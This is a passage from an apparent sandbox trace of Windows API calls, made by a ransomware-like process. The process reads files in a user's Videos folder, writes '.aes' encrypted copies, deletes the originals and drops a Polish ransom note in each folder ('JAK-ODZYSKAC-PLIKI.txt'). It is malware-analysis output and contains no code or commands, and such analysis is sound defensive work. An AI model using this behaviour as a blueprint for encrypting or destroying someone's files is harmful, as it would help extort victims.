fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1f02a20, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xf1f02a20, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xf1f02a20, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0093.762] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0093.762] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0093.795] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\Eyqf5KSeCaMN6njljm\\y3M6CHiHDf_Yy2sBAzE.avi", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\Eyqf5KSeCaMN6njljm\\y3M6CHiHDf_Yy2sBAzE.avi", lpFilePart=0x0) returned 0x5c [0093.795] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0093.795] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\Eyqf5KSeCaMN6njljm\\y3M6CHiHDf_Yy2sBAzE.avi" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\5rxjc 2tw9i2cmhdlv\\eyqf5ksecamn6njljm\\y3m6chihdf_yy2sbaze.avi"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x256a40f0, ftCreationTime.dwHighDateTime=0x1d30286, ftLastAccessTime.dwLowDateTime=0x995bded0, ftLastAccessTime.dwHighDateTime=0x1d2f915, ftLastWriteTime.dwLowDateTime=0x995bded0, ftLastWriteTime.dwHighDateTime=0x1d2f915, nFileSizeHigh=0x0, nFileSizeLow=0x163a1)) returned 1 [0093.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0093.795] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\Eyqf5KSeCaMN6njljm\\y3M6CHiHDf_Yy2sBAzE.avi", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\Eyqf5KSeCaMN6njljm\\y3M6CHiHDf_Yy2sBAzE.avi", lpFilePart=0x0) returned 0x5c [0093.795] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0093.795] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\Eyqf5KSeCaMN6njljm\\y3M6CHiHDf_Yy2sBAzE.avi" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\5rxjc 2tw9i2cmhdlv\\eyqf5ksecamn6njljm\\y3m6chihdf_yy2sbaze.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x540 [0093.795] GetFileType (hFile=0x540) returned 0x1 [0093.796] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0093.796] GetFileType (hFile=0x540) returned 0x1 [0093.796] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\Eyqf5KSeCaMN6njljm\\y3M6CHiHDf_Yy2sBAzE.avi.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\Eyqf5KSeCaMN6njljm\\y3M6CHiHDf_Yy2sBAzE.avi.aes", lpFilePart=0x0) returned 0x60 [0093.796] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0093.796] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\Eyqf5KSeCaMN6njljm\\y3M6CHiHDf_Yy2sBAzE.avi.aes" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\5rxjc 2tw9i2cmhdlv\\eyqf5ksecamn6njljm\\y3m6chihdf_yy2sbaze.avi.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x544 [0093.796] GetFileType (hFile=0x544) returned 0x1 [0093.796] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0093.796] GetFileType (hFile=0x544) returned 0x1 [0093.796] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0093.807] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6ff3178 [0093.807] GetNetworkParams (in: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624) returned 0x0 [0093.813] LocalFree (hMem=0x6ff3178) returned 0x0 [0093.813] GetAdaptersAddresses () returned 0x6f [0093.818] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7042020 [0093.818] GetAdaptersAddresses () returned 0x0 [0093.823] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0093.829] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0093.829] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0093.837] LocalFree (hMem=0x1c8ab8) returned 0x0 [0093.838] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0093.845] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0093.845] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0093.851] LocalFree (hMem=0x1c8ab8) returned 0x0 [0093.851] LocalFree (hMem=0x7042020) returned 0x0 [0093.851] GetBestInterfaceEx (in: pDestAddr=0x27d193c*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0093.962] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\Eyqf5KSeCaMN6njljm\\y3M6CHiHDf_Yy2sBAzE.avi" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\5rxjc 2tw9i2cmhdlv\\eyqf5ksecamn6njljm\\y3m6chihdf_yy2sbaze.avi")) returned 1 [0093.963] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\Eyqf5KSeCaMN6njljm\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\Eyqf5KSeCaMN6njljm\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x5f [0093.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0093.963] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\Eyqf5KSeCaMN6njljm\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\5rxjc 2tw9i2cmhdlv\\eyqf5ksecamn6njljm\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0093.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0093.963] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\AESxWin", ulOptions=0x0, samDesired=0x20019, phkResult=0x77cea88 | out: phkResult=0x77cea88*=0x540) returned 0x0 [0093.963] RegQueryValueExW (in: hKey=0x540, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x0, lpcbData=0x77ceaa4*=0x0 | out: lpType=0x77ceaa8*=0x1, lpData=0x0, lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0093.963] RegQueryValueExW (in: hKey=0x540, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x29bfcc8, lpcbData=0x77ceaa4*=0x4a | out: lpType=0x77ceaa8*=0x1, lpData="0b75c6dd-d172-492e-b7be-2c05de30e808", lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0093.963] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\Eyqf5KSeCaMN6njljm\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce508, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\Eyqf5KSeCaMN6njljm\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x5f [0093.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9e4) returned 1 [0093.963] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\Eyqf5KSeCaMN6njljm\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\5rxjc 2tw9i2cmhdlv\\eyqf5ksecamn6njljm\\#$# jak-odzyskac-pliki.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x544 [0093.963] GetFileType (hFile=0x544) returned 0x1 [0093.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9e0) returned 1 [0093.963] GetFileType (hFile=0x544) returned 0x1 [0093.963] WriteFile (in: hFile=0x544, lpBuffer=0x29c8d28*, nNumberOfBytesToWrite=0xa2c, lpNumberOfBytesWritten=0x77cea80, lpOverlapped=0x0 | out: lpBuffer=0x29c8d28*, lpNumberOfBytesWritten=0x77cea80*=0xa2c, lpOverlapped=0x0) returned 1 [0093.964] CloseHandle (hObject=0x544) returned 1 [0093.964] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0094.016] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\LNVGgurmVCVr5ekCq-4\\eJvtTMxbiz6SbBueW.swf", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\LNVGgurmVCVr5ekCq-4\\eJvtTMxbiz6SbBueW.swf", lpFilePart=0x0) returned 0x5b [0094.016] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0094.016] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\LNVGgurmVCVr5ekCq-4\\eJvtTMxbiz6SbBueW.swf" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\5rxjc 2tw9i2cmhdlv\\lnvggurmvcvr5ekcq-4\\ejvttmxbiz6sbbuew.swf"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf47891d0, ftCreationTime.dwHighDateTime=0x1d300fb, ftLastAccessTime.dwLowDateTime=0x6eda5a00, ftLastAccessTime.dwHighDateTime=0x1d2f8ad, ftLastWriteTime.dwLowDateTime=0x6eda5a00, ftLastWriteTime.dwHighDateTime=0x1d2f8ad, nFileSizeHigh=0x0, nFileSizeLow=0xa850)) returned 1 [0094.016] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0094.016] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\LNVGgurmVCVr5ekCq-4\\eJvtTMxbiz6SbBueW.swf", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\LNVGgurmVCVr5ekCq-4\\eJvtTMxbiz6SbBueW.swf", lpFilePart=0x0) returned 0x5b [0094.016] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0094.016] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\LNVGgurmVCVr5ekCq-4\\eJvtTMxbiz6SbBueW.swf" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\5rxjc 2tw9i2cmhdlv\\lnvggurmvcvr5ekcq-4\\ejvttmxbiz6sbbuew.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x544 [0094.016] GetFileType (hFile=0x544) returned 0x1 [0094.016] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0094.016] GetFileType (hFile=0x544) returned 0x1 [0094.016] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\LNVGgurmVCVr5ekCq-4\\eJvtTMxbiz6SbBueW.swf.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\LNVGgurmVCVr5ekCq-4\\eJvtTMxbiz6SbBueW.swf.aes", lpFilePart=0x0) returned 0x5f [0094.016] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0094.016] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\LNVGgurmVCVr5ekCq-4\\eJvtTMxbiz6SbBueW.swf.aes" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\5rxjc 2tw9i2cmhdlv\\lnvggurmvcvr5ekcq-4\\ejvttmxbiz6sbbuew.swf.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0094.017] GetFileType (hFile=0x8e4) returned 0x1 [0094.017] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0094.017] GetFileType (hFile=0x8e4) returned 0x1 [0094.017] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0094.025] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6ff3178 [0094.025] GetNetworkParams (in: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624) returned 0x0 [0094.032] LocalFree (hMem=0x6ff3178) returned 0x0 [0094.032] GetAdaptersAddresses () returned 0x6f [0094.036] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7042020 [0094.036] GetAdaptersAddresses () returned 0x0 [0094.041] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0094.047] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0094.047] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0094.060] LocalFree (hMem=0x1c8ab8) returned 0x0 [0094.061] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0094.067] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0094.067] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0094.073] LocalFree (hMem=0x1c8ab8) returned 0x0 [0094.073] LocalFree (hMem=0x7042020) returned 0x0 [0094.073] GetBestInterfaceEx (in: pDestAddr=0x27e215c*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0094.151] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\LNVGgurmVCVr5ekCq-4\\eJvtTMxbiz6SbBueW.swf" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\5rxjc 2tw9i2cmhdlv\\lnvggurmvcvr5ekcq-4\\ejvttmxbiz6sbbuew.swf")) returned 1 [0094.152] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\LNVGgurmVCVr5ekCq-4\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\LNVGgurmVCVr5ekCq-4\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x60 [0094.152] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0094.152] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\LNVGgurmVCVr5ekCq-4\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\5rxjc 2tw9i2cmhdlv\\lnvggurmvcvr5ekcq-4\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0094.152] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0094.152] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\AESxWin", ulOptions=0x0, samDesired=0x20019, phkResult=0x77cea88 | out: phkResult=0x77cea88*=0x544) returned 0x0 [0094.152] RegQueryValueExW (in: hKey=0x544, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x0, lpcbData=0x77ceaa4*=0x0 | out: lpType=0x77ceaa8*=0x1, lpData=0x0, lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0094.152] RegQueryValueExW (in: hKey=0x544, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x29b0870, lpcbData=0x77ceaa4*=0x4a | out: lpType=0x77ceaa8*=0x1, lpData="0b75c6dd-d172-492e-b7be-2c05de30e808", lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0094.152] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\LNVGgurmVCVr5ekCq-4\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce508, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\LNVGgurmVCVr5ekCq-4\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x60 [0094.152] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9e4) returned 1 [0094.152] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\LNVGgurmVCVr5ekCq-4\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\5rxjc 2tw9i2cmhdlv\\lnvggurmvcvr5ekcq-4\\#$# jak-odzyskac-pliki.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8e4 [0094.153] GetFileType (hFile=0x8e4) returned 0x1 [0094.153] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9e0) returned 1 [0094.153] GetFileType (hFile=0x8e4) returned 0x1 [0094.153] WriteFile (in: hFile=0x8e4, lpBuffer=0x29b98d8*, nNumberOfBytesToWrite=0xa2c, lpNumberOfBytesWritten=0x77cea80, lpOverlapped=0x0 | out: lpBuffer=0x29b98d8*, lpNumberOfBytesWritten=0x77cea80*=0xa2c, lpOverlapped=0x0) returned 1 [0094.153] CloseHandle (hObject=0x8e4) returned 1 [0094.153] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0094.212] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\LNVGgurmVCVr5ekCq-4\\xSTC7qezlhs _STE0B.avi", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\LNVGgurmVCVr5ekCq-4\\xSTC7qezlhs _STE0B.avi", lpFilePart=0x0) returned 0x5c [0094.212] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0094.212] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\LNVGgurmVCVr5ekCq-4\\xSTC7qezlhs _STE0B.avi" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\5rxjc 2tw9i2cmhdlv\\lnvggurmvcvr5ekcq-4\\xstc7qezlhs _ste0b.avi"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddd88300, ftCreationTime.dwHighDateTime=0x1d2f6a0, ftLastAccessTime.dwLowDateTime=0xebd4d6c0, ftLastAccessTime.dwHighDateTime=0x1d2ffba, ftLastWriteTime.dwLowDateTime=0xebd4d6c0, ftLastWriteTime.dwHighDateTime=0x1d2ffba, nFileSizeHigh=0x0, nFileSizeLow=0x1cb0)) returned 1 [0094.212] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0094.212] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\LNVGgurmVCVr5ekCq-4\\xSTC7qezlhs _STE0B.avi", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\LNVGgurmVCVr5ekCq-4\\xSTC7qezlhs _STE0B.avi", lpFilePart=0x0) returned 0x5c [0094.212] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0094.212] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\LNVGgurmVCVr5ekCq-4\\xSTC7qezlhs _STE0B.avi" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\5rxjc 2tw9i2cmhdlv\\lnvggurmvcvr5ekcq-4\\xstc7qezlhs _ste0b.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0094.212] GetFileType (hFile=0x8e4) returned 0x1 [0094.212] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0094.212] GetFileType (hFile=0x8e4) returned 0x1 [0094.212] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\LNVGgurmVCVr5ekCq-4\\xSTC7qezlhs _STE0B.avi.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\LNVGgurmVCVr5ekCq-4\\xSTC7qezlhs _STE0B.avi.aes", lpFilePart=0x0) returned 0x60 [0094.212] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0094.212] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\LNVGgurmVCVr5ekCq-4\\xSTC7qezlhs _STE0B.avi.aes" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\5rxjc 2tw9i2cmhdlv\\lnvggurmvcvr5ekcq-4\\xstc7qezlhs _ste0b.avi.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x350 [0094.212] GetFileType (hFile=0x350) returned 0x1 [0094.212] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0094.213] GetFileType (hFile=0x350) returned 0x1 [0094.213] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0094.237] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6ff3178 [0094.237] GetNetworkParams (in: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624) returned 0x0 [0094.244] LocalFree (hMem=0x6ff3178) returned 0x0 [0094.244] GetAdaptersAddresses () returned 0x6f [0094.249] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7042020 [0094.249] GetAdaptersAddresses () returned 0x0 [0094.254] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0094.260] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0094.260] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0094.270] LocalFree (hMem=0x1c8ab8) returned 0x0 [0094.270] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0094.276] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0094.276] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0094.282] LocalFree (hMem=0x1c8ab8) returned 0x0 [0094.283] LocalFree (hMem=0x7042020) returned 0x0 [0094.283] GetBestInterfaceEx (in: pDestAddr=0x27de140*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c 